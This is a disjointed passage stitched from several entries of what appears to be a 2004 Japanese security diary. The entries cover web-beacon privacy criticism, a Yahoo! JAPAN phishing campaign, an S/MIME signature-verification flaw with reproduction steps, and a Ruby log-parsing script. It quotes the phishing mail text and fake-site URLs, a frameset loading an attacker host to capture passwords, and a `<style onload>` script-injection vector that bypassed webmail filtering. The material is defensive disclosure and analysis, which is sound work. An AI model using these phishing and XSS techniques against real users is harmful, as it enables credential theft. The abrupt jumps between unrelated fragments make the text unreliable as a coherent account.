ここで「Register」と書かれたリンクをクリックすると、次のようにリンク先 のページが表示される。
<img src='http://go.ab0.jp/go.php?aid=0L5Ry-0pSQP'></body></html>Webビーコンに関するプライバシーポリシーはどうなっているだろうか。NTTコミュニケーションズの プライバシーポリシーには、﹁セキュリティ宣言﹂と大そうなことが 書かれている一方で、Webビーコンに関する記述は存在しない。メールマガジンの登録ページにも記述がない。 ついでに書いておくと、 プライバシーポリシーにおけるcookieの説明も不適切だ。 クッキー︵Cookies︶について クッキー︵Cookies︶は、お客さまがNTTコミュニケーションズオフィシャルサ イトに再度訪問された際、より便利に当サイトを閲覧していただくた めのものであり、お客さまのプライバシーを侵害するものではなく、 またお客さまのコンピューターへ悪影響を及ぼすことはありません。 NTTコミュニケーションズ プライバシーポリシー ある行為が、ある個人のプライバシーを侵害するものになるかどうかは、その 個人が判断することである。事業者が﹁これはお客様のプライバシーを侵害す るものではない﹂といくら勝手に考えていても、それが見当違いであることが 少なくない。だからこそプライバシーポリシーの開示が必要なのであって、 ﹁侵害するものではない﹂と宣言するだけで済むんだったら、プライバシーポ リシーなぞいらない。 ﹁クッキー︵Cookies︶は……ありません﹂と、cookie一般がそういう性質の ものでないかのように言っているのも大間違いだ。何もわかっていない人が、 意味もわからずこれを書かされている様子が窺える。 書くべきことは、どのページでどのようにcookieを使っていて、それはこれこ れの結果をもたらすが、当社はこれこれの形でしか使わないようにしている ――といったことだ。 ﹁より便利に﹂とか﹁より快適に﹂だの﹁より良いお客様サービス﹂だのいう 表現は、裏側に説明されていない何かがあるとみてよいだろう。
From: "Yahoo! JAPAN " <wallet-help@yahoo.co.jp> Subject: Yahoo! JAPAN - 有料コンテンツご利用停止に関するお知らせ
ここで、矢印部分にあるリンク「Yahoo!ウォレット登録情報の確認・変更」を クリックしたところ、図2の画面が現れた。
http://yahoo-com-jp.mine.nu:1649/jp/...というものだった。 Windows XP SP2のInternet Explorerを使用しているので、アドレスバーが 偽装されているわけではないはずだ︵未知の脆弱性が悪用されているのでない 限り︶。 なぜこのようなこと、つまり、yahoo.co.jpドメインの画面上に偽サイトの 画面を表示させることができたのか。この画面全体のHTMLソースを見てみた ︵表示メニューから﹁ソース﹂︶ところ、次のようになっていた。
<frameset row="*"> <frame src="http://yahoo-com-jp.mine.nu:1649/(略)&user=takagi_hiromitsu"> </frameset>つまり、画面全域が1つのフレームになっていて、フレームとして偽サイトが 表示されているということだ。ファイルメニューからプロパティを確認すると、 ﹁jp.f25.mail.yahoo.co.jp﹂となっており、アドレスバーが偽装されている わけではないことがわかる。 答えはというと、これは、メール中に書かれていたJavaScriptの実行によって 実現されていたのである。 JavaScriptを実行させられるならば、そのページのHTMLを自由に差し替えるこ とができる。たとえば、
document.write('<frameset row="*"> ...');といった文を実行させることができれば、そのページは、フレームセットに差 し替えられることになる*1。 本来ならば、HTMLメール中に書かれたJavaScriptが実行されるようなことがあっ てはならない。なぜなら、Webメールのほとんどは、cookieによりセッション 追跡︵同じ人からのアクセスであることを判別︶しているため、もし、 メールに書かれたJavaScriptが実行されるなら、cookieを盗み出すことができ てしまうため、セッションハイジャック攻撃により、メールを盗み読まれる 危険があることになる。したがって、Webメールサービスのほとんどは、 JavaScript︵や VBScript︶が動かないように対策をしているはずである。 その対策に漏れがあって、何らかの方法でスクリプトが動いてしまうならば、 それは﹁クロスサイトスクリプティング脆弱性﹂と呼ばれる。HotmailやYahoo! Mailに、1999年ごろからたびたびセキュリティホールが発見されては 修正が繰り返されてきたのは、 そのほとんどがこのXSS脆弱性が原因であった。 ●HotmailとYahoo Mailを悩ますフィルタの欠陥, CNET Japan, 2004年3月24日 ﹁HotmailとYahooは、あらゆる手段を用いて電子メールのなかにあるスクリプトの実行を阻止しており、両サービスでは受信メッセージに含まれるHTMLコンテンツにフィルタをかけている。我々は、スクリプトを実行させるためにフィルタを回避する方法を発見した﹂︵Dagon︶ この脆弱性は、技術的にはクロスサイトスクリプトの欠陥に分類される問題だ。︵略︶ ●HotmailとYahoo! Mailにクロスサイトスクリプティングの脆弱性 , セキュリティホールmemo, 2004年3月24日 ●Vulnerability Note VU#707100: Multiple web-based email services fail to filter malicious characters when the message contains cascading style sheet character escaping, セキュリティホールmemo, 2003年12月12日 ●MS、Hotmailの脆弱性修正, セキュリティホールmemo, 2003年10月16日 ...︵略︶... ●Yet another Hotmail security hole - injecting JavaScript using "jAvascript:", セキュリティホールmemo, 2000年1月18日 ●Hotmail もの3題, セキュリティホールmemo, 2000年1月7日 ●HotmailにJavaScript関連の新たなセキュリティホール, セキュリティホールmemo, 1999年9月16日 今回のヤフーをターゲットにしたフィッシングメールで使われていた、 JavaScriptを実行させる方法は、次のものだった。
<style onload="スクリプト文"></style>スクリプト実行の防止において、﹁onload﹂に対策をするのは基本中の基本と 思われるのだが、これがフィルタリングされない穴が残っていたというのは 意外だった。 調べてみたところ、米 yahoo.com のWebメールにおいても同じ脆弱性が存在 していた。 これはまずいと思ったので、急ぎ、15日の深夜から16日にかけて、ヤフージャ パンと米Yahoo!の一般向け質問窓口に対して、この脆弱性の存在を伝えるメッ セージを送った。ヤフージャパンでは16日のうちに修正され、米Yahoo!では 数日後には修正されていた。
こうした挙動を示したのは、偽サイトが、入力されたパスワードを本物サイト に中継送信して、パスワードが本物かどうかを確認する仕掛けになっていたと しか考えられない。
何気なくパスワードを間違えたりして、このような挙動を見た人は、正しいパ スワードを入れたとき、本物サイトにログインしている錯覚に陥るだろう。
暗証番号(セキュリティキー)には何を入れても通過するようだったが、 この後現れる画面は、図5のようになっており、 すっかり本物サイトにログインしていると錯覚した人は、疑いもなく、 これらの情報を入力してしまうのだろう。
図2〜4の画面は、本物のヤフーのサイトに実在する画面とそっくりだが、図5 のように、カードの暗証番号(ATMでのキャッシングに使用するもの)を求め る画面は存在しないようだ。冷静に考えれば、そんな情報をWebに登録するの は変なのだが、ログインしていると錯覚していれば入れてしまうのだろう。
ちなみに、図4の画面をサブフレームだけ表示させたのが図6である。偽サイト のURLで動いていることがわかる。URLのパラメータ部分には、ユーザIDと、 入力したパスワード*2が渡されているのが見える。
8:名無しさん(新規) :04/09/29 22:10:43 ID:fA+H10Jx きたきた!! 題名:Yahoo! JAPAN -- 有料コンテ ンツご利用停止に関するお 知らせ 発信先:wallet-support@yahoo-inc.co.jp←これ自体おかしい いつもYahoo! JAPANをご利用いただきありがとうございます。他にも、ここ のブログの9月30日のエントリに、同じ文面のフィッシングメールの引用 とともに、次のように書かれている。 ほんと一見Yahoo!そのまんま。でさらにすごいことに、ここで間違ったパスワードを入れても認証されない!どうもパスワードが入力された際に、偽サイトのプログラムで本物のYahoo!にログインできるかチェックしているようだ。 このことからして、9月30日の時点で既に、パスワードの本物サイトへの中継 が行われていたように読める。このときからXSS脆弱性が突かれていた確証は ないが、その可能性は高いのではなかろうか。 もしそうなのならば、ヤフーは、このフィッシングメールの実物を見ることに よって、原因を突き止め、11月16日にとったのと同じ対策をとることで、 早い段階でこの詐欺をやめさせることができたのではないだろうか。INTERNET Watchの記事によれば、﹁千数百件の報告がヤフーに寄せられている﹂ といい、被害をもっと小さくできた可能性があるのではないか。 XSS脆弱性を修正せずにいると、詐欺師にナメられて、いつまでも格好の餌食 にされてしまうことになる。
このたび、お客様がご利用のYahoo! JAPAN 有料コンテンツのご利用 を停止させていただきましたことをご連絡いたします。 現在お客様がYahoo!ウォレットでYahoo!プレミアム会員費などのお支 払いにご利用中のクレジットカードにつきまして、カード発行会社よ り、弊社へご登録のクレジットカード情報では請求が行えないとの連 絡をいただきました。 そのため、ご利用になられていたYahoo!プレミアム会員費など、お支 払いが必要なサービスについてご利用停止処理を行わせていただきま した次第です。 なお、お客様にはご利用になられていた有料コンテンツを、再度ぜひ ご利用いただきたいと存じます。その際にはお手数ではございますが、 お客様のYahoo!ウォレット登録お支払い方法のご変更手続きをお願い いたします。 お客様のYahoo!ウォレットご登録内容の変更については、以下の確認 画面右側に表示されます「お支払い情報の変更」をクリックして表示 される画面よりお手続きいただけます。
とび先アドレスはここです。 http://yah-jp.ath.cx:1666/yahoo.co.jp/step1.php
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ タカギ ヒロミツ様 (takagi@mail1.accsnet.ne.jp) から 送金がありました。 (No.20040921XXXXXXXXXXXX-XXX)これでも、﹁メールからログインパスワード・暗証番号を入力させるようなこ とはしていない﹂というのだろうか。 やはり、こういうサービスを提供するのなら、通知メールにS/MIME署名するよ うにするしかないだろう。
送金内容:送金のテスト 送金日時: 2004/09/21 XX:XX:XX ※送金の受取手続きは45日以内に行ってください。 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ (略) ▼▼ タカギ ヒロミツ様からの送金の受取手続きは 下記URLを押してください ▼▼ http://merumane.ebank.co.jp/ebk/ebs?RECV=OK&ESCROW_NUM=20040921XXXXXXXXXXXX (以下略)
06: 349 18: 2616 07: 525 19: 2390 08: 1331 20: 2296 09: 2166 21: 2483 10: 2455 22: 3228 11: 2864 23: 3191 12: 4865 00: 2424 13: 3997 01: 1710 14: 2751 02: 901 15: 2615 03: 593 16: 2535 04: 320 17: 2752 05: 278
ベンダ | ステータス | 更新日 |
サイトー企画 | 該当製品あり | 2004/12/16 |
*1 こうしたメールは、IPAの脆弱性情報届出窓口に 製品の脆弱性を届け出ていた人に対して、その件がJVNで公表された際に送ら れてくる。
Date: Wed, 10 Nov 2004 12:10:40 +0900
From: foo@example.com
To: takagi@mail1.accsnet.ne.jp
Subject: S/MIME
=?ISO-2022-JP?B?GyRCRkg8KxsoQkNBGyRCSC85VBsoQiAbJEIlYRsoQg==?=
=?ISO-2022-JP?B?GyRCITwlayUiJUklbCU5JEokNz5aTEA9cRsoQiA=?=
=?ISO-2022-JP?B?GyRCJE4lRiU5JUgbKEI=?=
X-SMIME-Plugin: Becky! S/MIME Plug-in v1.0.0rc2 build at Aug 13 2002 21:52:41
Message-Id: <20041110121031.B81D.FOO@example.com>
MIME-Version: 1.0
X-Mailer: Becky! ver. 2.11.02 [ja]
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg="sha1"; boundary="===[S/MIME_RFC2311]===419186A7.31E220==="
Content-Transfer-Encoding: 7bit
--===[S/MIME_RFC2311]===419186A7.31E220===
Content-Type: text/plain; charset="ISO-2022-JP"
Content-Transfer-Encoding: 7bit
S/MIME署名のテスト
--===[S/MIME_RFC2311]===419186A7.31E220===
Content-Type: application/x-pkcs7-signature;
name="smime.p7s"
Content-Disposition: attachment;
filename="smime.p7s"
Content-Transfer-Encoding: base64
MIIE1QYJKoZIhvcNAQcCoIIExjCCBMICAQExCzAJBgUrDgMCGgUAMAsGCSqG
SIb3DQEHAaCCA5IwggOOMIICdqADAgECAgEDMA0GCSqGSIb3DQEBBAUAMGAx
CzAJBgNVBAYTAkpQMRAwDgYDVQQIEwdJYmFyYWtpMRAwDgYDVQQHEwdUc3Vr
dWJhMRQwEgYDVQQKEwtOYW5kZW1vIEFyaTEXMBUGA1UEAxMOTmFuZGVtbyBB
cmkgQ0EwHhcNMDQxMTEwMDMwMzU4WhcNMDUxMTEwMDMwMzU4WjBPMQswCQYD
VQQGEwJKUDEQMA4GA1UECBMHSWJhcmFraTEUMBIGA1UEChMLTmFuZGVtbyBB
cmkxGDAWBgNVBAMUD2Zvb0BleGFtcGxlLmNvbTCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAoaVR4FS2YAIDNfMQ/J1U4WITcjrojSH67buWoSTA7bcK
xz1k0NxoEHdtGMlNIsk1mC+hGGEOThfU28UEpL4abpH5L26at0LE01S3z8TD
Gc8kjWzY9YA5VGp2VWuqDAlXyvbMDvNWkEERYLsWa1Rtak7Yk48eRp+CSix4
depkacMCAwEAAaOB5zCB5DAJBgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1P
cGVuU1NMIEdlbmVyYXRlZCBDZXJ0aWZpY2F0ZTAdBgNVHQ4EFgQU/kFAV7lM
5frHBHfy15bFSPIVDCEwgYkGA1UdIwSBgTB/gBQxFSn6qdO2VZp/NfBCNnCb
p4nVvKFkpGIwYDELMAkGA1UEBhMCSlAxEDAOBgNVBAgTB0liYXJha2kxEDAO
BgNVBAcTB1RzdWt1YmExFDASBgNVBAoTC05hbmRlbW8gQXJpMRcwFQYDVQQD
Ew5OYW5kZW1vIEFyaSBDQYIBADANBgkqhkiG9w0BAQQFAAOCAQEANd6s8HeB
vZwTV0TRY8rrImEKtJCXCImf4hKFVedDQ0Keil4z6EFtu3fky83HqPc6NAuO
eYUpyCf4ciJb9sA0SLrntT46o/zyhfPx41JX8rjDkKwos5G/cObCpLdv7Msr
fwZc9Pmf/ZxqMtYxS4dCxu/trC7XgpHKp3ETOYn160cdnV/Gws1dMetOAXSu
oKW8HS4qkUKE4bddhhBSazjlCYOIKduKGIb+gzN0nfrk+p2uEaPqtbS56nhC
/Ag4AIjLzAC99NjzxmuRaE6+CUTSeTf3N12mtqv+aFtY5otOPBzpApfIUsWv
ul02Yt0Nd6D49dMadMlGOcPDQj/kt4wV6zGCAQswggEHAgEBMGUwYDELMAkG
A1UEBhMCSlAxEDAOBgNVBAgTB0liYXJha2kxEDAOBgNVBAcTB1RzdWt1YmEx
FDASBgNVBAoTC05hbmRlbW8gQXJpMRcwFQYDVQQDEw5OYW5kZW1vIEFyaSBD
QQIBAzAJBgUrDgMCGgUAMA0GCSqGSIb3DQEBAQUABIGAhWx8yvkvWJSn0hVb
c7FNIUjiiZuFLx+QgOfpCn5Fld0EtU0kek5FEvGFmuEjvdPFrL2qdZPhL4o7
+aLkmTd2+x7N1x7Lu7uG11USWTMpmn6H5HfFtxFpKM0Y1CdIbtx4qVSNnOBp
VJCd/qoJTT4fRdJPDDa9HKrQZn2rRPZyPzg=
--===[S/MIME_RFC2311]===419186A7.31E220===--
この問題は、前回のJVN#B410A83Fよりも
いささか深刻だった。なぜなら、前回の件では、11月27日の日記
に書いたように、
図5の説明には若干の補足が必要である。
受信したメールの署名者の証明書を、証明書ストア*3に信頼済みのものとして登録していない場合︵たとえば、初めての相手からのメールである場合︶には、次の図のように、証明書ストアに登録するかと尋ねる確認ウィンドウが現れる。
という挙動を示すものだったが、今回の件では、この確認ウィンドウが現れる
ことなく、本文が表示されてしまうからだ。
届出では、上のサンプルメールを添付して、以下のように説明した。
3) 脆弱性の種類
S/MIME署名されたメールの署名検証で不正な証明書が正当と誤判断される
Shuriken Pro3/R.2は、電子署名されたメールを表示するとき、﹁このメールは
暗号化、または、署名されています。﹂という表示とともに﹁復号・署名確認﹂
ボタンを出し、このボタンが押されると、署名検証をした後に本文を表示するよ
うになっている。
本文が改ざんされたメールにおいては、この﹁復号・署名確認﹂ボタンを押した
時点で、﹁デジタル署名と署名された文書が一致しません。改竄されている恐れ
があります。﹂という警告メッセージが出るようになっており、また、不正な証
明書で電子署名されたメールにおいては、﹁デジタル署名に使用された証明書が
有効ではありません。﹂との警告が出るようになっている。
これらのことから、このボタンを押して警告が出なければ、そのメールは真正の
ものである︵改ざんもなりすましもされていない︶と利用者は理解する。
しかし、ある特殊な細工を施した不正な証明書を用いて電子署名したメールにお
いて、﹁復号・署名確認﹂ボタンを押すと、何ら警告を出すことなく本文が表示
されてしまう。
4) 再現手順
︵略︶
2. テスト用自己署名認証局証明書等を用いて、以下の特徴を持つ特殊な証明書
を生成し、Windowsの証明書ストアにインストールする。
・サブジェクト識別名︵DN︶の﹁E﹂フィールド︵EmailAddress︶を空とする。
その実例を添付ファイル﹁smime2.crt﹂に示す。
3. その証明書を使ってS/MIME署名したメールを送信する。
︵略︶
6) 脆弱性により発生しうる脅威
特殊な細工を施した偽の証明書で電子署名されたメールを受け取ったとき、﹁復
号・署名確認﹂ボタンを押しただけでは真正のものと区別されないため、S/MIME
が本来提供するはずの、なりすまし防止や、改ざん防止の機能が有効に働かない。
これを受信者がShuriken Pro3/R.2で表示した場合、ボタンを押しただけでは証
明書パスが検証されないため、詐称メールであることが検出されない。
また、攻撃者は、通信路上で本文の改ざんと同時に証明書もすり替えることができ、その場合にも改ざんの事実は検出されない。
ちなみに、実は、このバグそのものは現在の最新版︵バージョン 5.5.6.0︶
でも﹁修正﹂されてはいないようだ。
というのは、前回のJVN#B410A83Fが
5.5.6.0 で修正されたことによって、このメールを開こうとすると、
署名者のメールアドレスと差出人のメールアドレスが一致しません。
の警告が出るようになった︵署名者のメールアドレスが空なので︶ため、
結果的に、これによって偽メールだと気づくことはできるように
なっている*2。
しかし、偽認証局発行のEmailAddressが空でない証明書で署名され、
かつ、Fromが署名者アドレスと異なるメールで実験すると、5.5.6.0 は、
デジタル署名に使用された証明書が有効ではありません。
の方の警告を出す︵アドレスが一致しませんの警告は出ない︶ことから、
このバグ自体は残っていると推察される。
偽メールに対して何かしらの警告は出るようになったのだから、5.5.6.0 で
脆弱とはいえなくなっているといえるにしても、
いまひとつきちんとした警告が出ないままの状態といえるのではなかろうか。
こういうのに比べて、Outlook Expressの警告表示はよくできている。
Microsoftはさすがだ。
#! /usr/local/bin/ruby
logformat = /^(\S*) (\S*) (\S*) \[(...........):(........) .....\]『(\S*) (\S*)
(\S*)』(\S*) (\S*) "([^"]*)" "([^"]*)"/
total = 0
msie = firefox = mozilla = netscape6 = opera = safari = w3m = netscape4 = antenn
a = others = 0
while line = gets()
line.chomp!()
(addr, user, auth, date, time, method, path, protocol, status, length, refer
rer, agent) = line.scan(logformat)[0]
next if method != "GET"
next if not path.match(/^\/diary\/$|^\/diary\/.*\.html$/)
total += 1
if agent.match(/Opera/)
opera += 1
elsif agent.match(/Firefox/)
firefox += 1
elsif agent.match(/Safari/)
safari += 1
elsif agent.match(/w3m/)
w3m += 1
elsif agent.match(/MSIE/)
msie += 1
elsif agent.match(/Netscape\/[67]/)
netscape6 += 1
elsif agent.match(/Mozilla\/4\.[6789]/)
netscape4 += 1
elsif agent.match(/Gecko\//)
mozilla += 1
elsif agent.downcase.match(/antenna|wdb|rss|samidare|livedoorcheckers|glucos
e|blogpeople/)
antenna += 1
else
others += 1
end
end
print "#{total} #{msie} #{firefox} #{mozilla} #{netscape6} #{opera} #{safari} #{
w3m} #{netscape4} #{antenna} #{others}\n"
*1 ご利用はご自由に。